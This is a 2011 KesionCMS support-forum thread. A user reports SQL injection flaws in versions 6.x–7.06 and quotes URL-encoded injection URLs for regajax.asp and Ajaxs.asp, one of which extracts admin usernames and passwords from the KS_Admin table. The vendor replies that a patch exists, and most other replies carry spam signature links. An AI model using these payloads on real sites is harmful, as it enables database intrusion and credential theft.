账号通
    

注册

找回密码

账号  

密码  

话题
互动
会员
服务
<<返回列表上一个主题 下一个主题 打印本帖 复制本帖地址

3876

查看

6

回复
主题：[已解决]官方能不能解决啊 科讯 6.x – 7.06 漏洞 (SQL 注射漏洞) [收藏主题] 转到：  
wancn 当前离线

315

主题

0

广播

0

粉丝
添加关注
级别:三年级

用户积分:3644 分
登录次数:448 次
注册时间:2007/9/19
最后登录:2012/12/5
wancn 发表于：2011/9/1 8:21:45   | 只看该作者 查看该作者主题 楼主 
科汛智能建站系统
做考试题库 就用#科汛在线考试系统!

漏洞存在于注册页面



ACCESS：

http://www.test.com/user/reg/regajax.asp?action=getcityoption&;province=%2527%2520%2575%256e%2569%256f%256e%2520%2553%2565%256c%2565%2563%2574%2520%2574%256f%2570%2520%2531%2530%2520%2541%

SQL:

http://www.test.com/user/reg/regajax.asp?action=getcityoption&;province=goingta%2527%2520union%2520%2573%2565%256C%2565%2563%2574%25201,username%252B%2527%257C%2527%252Bpassword%2520from%2520KS_Admin%2500



最近被挂马了。
 
一分钟快速开通线上知识店铺
  支持(5) | 反对(4) 回到顶部顶端 回到底部底部
wancn 当前离线

315

主题

0

广播

0

粉丝
添加关注
级别:三年级

用户积分:3644 分
登录次数:448 次
注册时间:2007/9/19
最后登录:2012/12/5
wancn 发表于：2011/9/1 8:25:14   | 只看该作者 查看该作者主题 沙发 
一分钟快速开通线上知识店铺
还有一个http://www.test.com /plus/Ajaxs.asp?action=GetRelativeItem&Key=goingta%2525%2527%2529%2520%2575%256E%2569%256F%256E%2520%2573%256


以上是网上收集的。
 
<a href=http://www.fzlgo.com target=_blank>非主流个性签名</a> <a href=http://www.whjiehun.com target=_blank>婚纱照片欣赏</a>
有课程 找生源 就上科汛课堂街
  支持(5) | 反对(5) 回到顶部顶端 回到底部底部
guoxiaoqing 当前离线

1116

主题

0

广播

0

粉丝
添加关注
级别:八年级

用户积分:876 分
登录次数:124 次
注册时间:2011/8/22
最后登录:2012/5/7
guoxiaoqing 发表于：2011/9/1 9:02:34   | 只看该作者 查看该作者主题 藤椅 
科汛智能建站系统
做官网 就用科汛智能建站系统!
嘿嘿
 
沈阳***病***[/url]

沈阳***病***[/url]

沈阳***病专科***[/url]
沈阳***病专科***[/url]
沈阳牛皮癣***[/url]
***是怎么引起的[/url]
沈阳***的原因[/url]
沈阳预防***[/url]

沈阳荨***原因[/url]
做新职业技能培训平台 就选#科汛网校
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
科汛官方 当前离线

47268

主题

145

广播

405

粉丝
添加关注
级别:管理员

用户积分:101604 分
登录次数:7935 次
注册时间:2006/12/7
最后登录:2023/12/14
科汛官方 发表于：2011/9/1 9:13:15   | 只看该作者 查看该作者主题 板凳 
科汛智能建站系统
做考试题库 就用#科汛在线考试系统!

早就修复过了的.

详见:KesionCMS V7.0x防注入漏洞补丁（建议及时打上）





http://bbs.kesion.com/forumthread-226879.html
 
KesionCMS,,
有课程 找生源 就上科汛课堂街
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
sunny81 当前离线

275

主题

5

广播

0

粉丝
添加关注
级别:二年级

用户积分:1367 分
登录次数:102 次
注册时间:2008/6/23
最后登录:2019/7/19
sunny81 发表于：2011/9/1 9:24:12   | 只看该作者 查看该作者主题 报纸 
科汛在线商城系统(NET)
一分钟快速开通线上知识店铺
关注下
 
做新职业技能培训平台 就选#科汛网校
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
sdjlove 当前离线

240

主题

0

广播

1

粉丝
添加关注
级别:二年级

用户积分:448 分
登录次数:32 次
注册时间:2011/3/19
最后登录:2012/5/28
sdjlove 发表于：2011/9/1 10:40:32   | 只看该作者 查看该作者主题 地板 
科汛在线考试系统(NET)
做考试题库 就用#科汛在线考试系统!
继续关注。。
 
上海网站建设[/url] 上海航空物流[/url]|3GQQ电脑登陆[/url]|上海航空快递[/url]|涂塑复合管[/url]|上海航空快递公司[/url]
做官网 就用科汛智能建站系统!
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
beyondyhq 当前离线

80

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:78 分
登录次数:4 次
注册时间:2011/8/18
最后登录:2012/11/19
beyondyhq 发表于：2011/9/1 22:43:08   | 只看该作者 查看该作者主题 7楼 
科汛在线商城系统(NET)
做官网 就用科汛智能建站系统!
不是我不是我
 
电影字幕网[/url]http://www.zimuw.com
济南商铺网[/url]http://www.jnshops.com
济南房屋信息网[/url]http://www.jnfangwu.com
济南写字楼网[/url]http://www.0531office.com
济南厂房网[/url]http://www.0531cf.com
智能大全网[/url]http://www.zndqw.com电影字幕[/url]
一分钟快速开通线上知识店铺
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
＜上一主题 | 下一主题 ＞
<< 返回列表
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行0.17383秒 powered by KesionCMS 9.0